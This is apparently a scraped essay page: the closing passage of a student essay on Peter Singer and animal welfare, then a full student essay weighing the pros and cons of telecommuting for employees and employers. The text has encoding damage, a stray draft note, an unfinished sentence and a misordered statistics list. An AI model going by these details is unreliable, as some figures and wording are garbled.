people who lack in mental capacities. This subject for me is simply the rules of nature, no more, no less. It is just in the laws of nature to be either prey or predator. Animals’ or non-humans may have full awareness of their suffering and we as humans should create a better environment for animals (that we use for our â€Å"purposes†) so that they don’t have to endure a tremendous amount of suffering. Farmers, Scientist and the general public alike should make changes in the laws that regulate the treatment of animals. Society as a whole should not be so vain to think that we are the only species on Earth that can feel, love, think, and desire, hurt and/or suffer. But, I disagree with Singer when he suggests that we start treating animals with the same moral composition that we show our fellow human beings. Animals are just, simply put†¦not our equals. Yes, my mother who suffers from dementia is going to receive better treatment from me than my dog, cat, fish, bird, llama etc†¦That will never happen (animals as humans equals) in my opinion. I don’t see a comparison between my mother, who has taken care of me for the majority of my life, and an animal. Human beings should start treating the animals’ that provide us nourishment, clothing, friendship and the list goes on, with more compassion and allotting them the quality, respect and dignity of life that someone could say to them in the end â€Å" You lived a full, dignified and â€Å"good life†. References Singer, Peter. (2006, December 11th). The Colbert Report [http://www. colbertnation. com/the-colbert-report-videos/79412/december-11-2006/peter-singer] Singer, Peter. (2008, January 28th). Human Use of Animals [http://www. open. edu/openlearn/history-the-arts/culture/philosophy/human-use-animals]

The Advantages And Disadvantages Of Telecommunication Information Technology Essay

The Advantages And Disadvantages Of Telecommunication Information Technology Essay Currently technologies develop very fast, making it hard for people to keep up with them. The development of these technologies causes changes in all aspects of life. Regarding professional life, new technologies influence the way of working. Telecommuting is a new way of working, which makes use of those new technologies, in which high speed internet is most important. Telecommuting or telework is a way of working in which an employee is able to stay at home and work on his or her own computer instead of having to go to an office. For the sake of cost reduction and global environment improvement, telecommuting is heavily recommended by lots of organizations. Telecommuting is a new way of working that is presented to be a environmentally cleaner, cheaper and more flexible way of working. However, could telecommuting be only positive for the employee and his or her employer? There might be some disadvantages concerning this new way of working. This paper gives an insight in the advant ages and disadvantages of telecommuting, both for employees and employers. First, telecommuting is described more thoroughly, followed by the advantages and disadvantages of telecommuting. Gap: many articles write about the advantages and disadvantages of telecommuting, though there are contradictions between them, in this paper is tried to give views from different angles, in order to create a better overview is the advantages and disadvantages of telecommuting. What is telecommuting? Telecommuting, also known as e-commuting or e-work, is the term used when individuals take advantage of the many technological advances to work from anywhere they desire, giving themselves flexibility in their hours and work locations (Helsin, 2007). Furthermore, it is important to note that telecommuting should be approved by the employer whereas telecommuting is a topic of which opinions differ. Not every organization allows its employees to work at their home instead of at the actual office. Telecommuting seems to be mainly driven by a change in management attitudes, improvements in technology, savings in office costs and the demand from the staff (Haynes, 2000). While saving costs is an aspect which counts for every organization, the choice to use teleworking seems to depend on the demand from staff and management. An exhibit by Harpaz (2002) displays that the biggest countries in telecommuting in 2002 were the USA (27%), Sweden (15%), The Netherlands (14%) and Finland (17%). The reason for such a high rate of telecommuters in the USA could be the size of the country, as the long distances make staying at home a good alternative. Counties like Sweden, The Netherlands and Finland are Europeans best developed countries regarding ICT facilities, which are needed for telecommuting. Telecommuting seems to be adapted quite a lot, for sure in countries in which the driving aspects of telecommuting are present. Advantages of telecommuting Flexibility in work locations and time In the majority of the current households, both partners have a fulltime job. It is hard for two people who both have a fulltime job to balance their professional and private life, especially while they have children. A common occurrence is young children staying at a day-care from 7.00 AM until 6.00 PM. As soon as they have finished their dinner, they already need to go to bed. In order to see each other more frequently, so to balance the combination of a private and professional life, telecommuting is a useful way of working. While conducting telecommuting, one gets more autonomy on his or her distribution of time. This rise of flexibility gives telecommuters the possibility to pick up the kids after school, instead of leaving them at a day-care, or, in case of no kids, to let the dog out. Despite of the advantage for the employee to be able to be more flexible in his or her work, for the employer it is hard to check what the employee is actually doing while he or she is not at the office. A change in management attitude is crucial for telecommuting to become successful in an organization (Haynes, 2000). DISADVANTAGEEMPLOYER Self-discipline: work according to self-imposed schedule; not enough/ addicted to work(because of irregular working times) Reduction of travelling costs and time An important problem which is to be solved by telecommuting is the cost and waste of time due to travelling to and from the office. Working at home eliminates the expensive fuel costs and the time one would lose by having to drive to his or her office. Another advantage is that while more people work from home, less traffic jams would occur. Not only these direct benefits like saving time and costs are important, not having to drive to work means there would be less frustrations in traffic and one is able to sleep longer. The employee will probably become more satisfied, which will have a positive influence on the motivation and productivity. So telecommuting has very positive effects on employees regarding the travelling costs and time. Professional flexibility By conducting telecommuting, a person is no longer attached to his or her physical office, so the combination of two jobs could be more likely. Though, for lots of people having two jobs would be too time expensive. While people do not longer feel as connected to their job as they used to when they were physically present at the office, job-hopping becomes more likely. People tend to have the strong desire to have more control over their own careers. Because they feel less connected to an organization when they telecommute, they feel more free to quit and find another job. This development is not only an advantage for the employee, it could be an advantage for an employer as well. Employers could make use of those frequently switching employees by temporarily hiring them when they are needed for a project and by dismissing them as soon as they are no longer needed or when they do not work as good as is required. On the other hand, this development could become a disadvantage for orga nizations as employees could tend to switch jobs that frequently, that it becomes hard for organizations to manage their human resources. Thus professional flexibility as a result of telecommuting could be an advantage for employees as they will be able to combine two jobs or to make use of job-hopping. Reduces office size The use of telecommuting could result in lower costs in organizations. While organizations always target on saving costs, current economic difficulties will make organizations even more aware of saving costs. Organizations are not only able to reduce costs because of the earlier mentioned travel costs which will be saved, but also because the offices could become smaller. Organizations used to need to facilitate at least one desk with a computer for each employee, because of a part of the staff is staying at home, the office size can be reduced. This will save money, not only for the less square meters over which a company needs to pay rent, but also because there will be lower electricity costs. Thus, next to the reduction of travel costs, telecommuting can result in lower costs because of the smaller size of an office that is needed. Increasing health The effects of telecommuting on the employees health are doubtful. It is hard find whether they could be allocated to the section of advantages or to the disadvantages. Earlier described advantages state that the fact that an employee could become more flexible in working times, could make them more satisfied. On the other hand, an employee who works at home seems to need to make sure there is a good balance between private and professional life in order to avoid a burn-out (Peters, 2010). In order to create this balance, an employee needs to have the adequate facilities at home, which contain a decent working place with access to new technologies. Also, the employee would need to have a place where he or she could get some distraction from work occasionally. So in order to work from home, while taking care of its health, an employee should be able to create a balance between private and professional life and make sure there are adequate facilities. Disadvantages of telecommuting Isolation A crucial difference between working at home and working at an office is the presence of colleagues. The fact that someone works all alone throughout a day, could affect its performance. Although it does not count for all people, many people seem to need to have the feeling of belonging to a team (Harpaz, 2002). This psychological aspect of being separated from the office environment which contains colleagues, new developments and occurrences is for many people very important. Those people like to interact with colleagues and to share what they are doing. So although people seem to feel better when they stay at home, because they are able to see their partner and children more frequently, the lack of having colleagues around could affect the quality of their work in a negative way. Other disadvantages of working at home are that some people would like to be seen and others would like to have responsibilities at the office (Novay, 2011). Security risks The fact that an employee works at home, means that important documents with information need to be accessible from home. For an organization this gives the risk that confidential documents could be stolen from the desk at the employees home or his or her car. Most employees live in a surrounding which is less secured than the actual office. As soon as an employee is about to work at home, his or her manager will not be able to check where those important documents might be (Sturgeon, 1996). Again, for an organization it is important to trust employees, otherwise telecommuting will not work properly. Documents could be divided in physical documents and electronic documents. For organizations it could be hard to secure the physical documents, however the electronic documents could be secured a little better. By providing employees a laptop, on which they can work at home, with the best security software, the chances of spyware might be reduces. Still the employee needs to preserve the laptop on a secure location, in order to make sure the laptop itself will not be stolen. Depending on the measures both employers and employees take, the security of information could be reduced, however the problems with the security of information will remain to be a big disadvantage of telecommuting. Conclusion There have been a lot of articles written about the advantages and disadvantages, however it has been showed that the arguments given in those articles differ in some parts. This paper states the most important advantages and disadvantages given in those articles. It is generally believed that telecommuting is an important new trend in professional life, because of its many advantages. In short, flexibility in work locations and time, reduction of travelling costs and time, professional flexibility, reduces the office sixe and the increase of health seem to be the most important advantages. Though, there are also disadvantages of telecommuting: isolation and security risks. On this basis, it may be concluded that the phenomenon telecommuting has some disadvantages alongside of the advantages. While in this paper it shows only two disadvantages towards five advantages, this does not indicate that those five advantages weigh heavier than the two disadvantages. I think that an organizat ion could only have its employees to telecommute while keeping both advantages and disadvantages in mind, because there are two sides. The employees themselves should consider both sides as well. Given this, it could be said that for many people it is interesting to make use of telecommunication. It might be very useful to be able to work during a time schedule that works best for someones home situation and also for his or her career. Whether telecommunicating is good for someones health is not certain and seems to depend on each person individually, there are people who cope better with the autonomy they get in dividing their time in personal and professional moments. Telecommuting seems to be a good way to combine the extreme busy life people currently tend to have, the environmental issues everyone wants to improve and . Assuming that the techniques will improve during the coming years, telecommuting could probably only get easier to apply. Regarding the advantages and disadvant ages, it would probably be hard to choose for a professional life in which telecommuting would be applied throughout the entire week. I think that telecommuting is useful, but only if it would be used during one or two days a week, in order to keep away isolation risks and to make sure that employees keep up with news on the office floor. Telecommuting is useful for both employees and employers, though too much use of telecommuting could cause risks.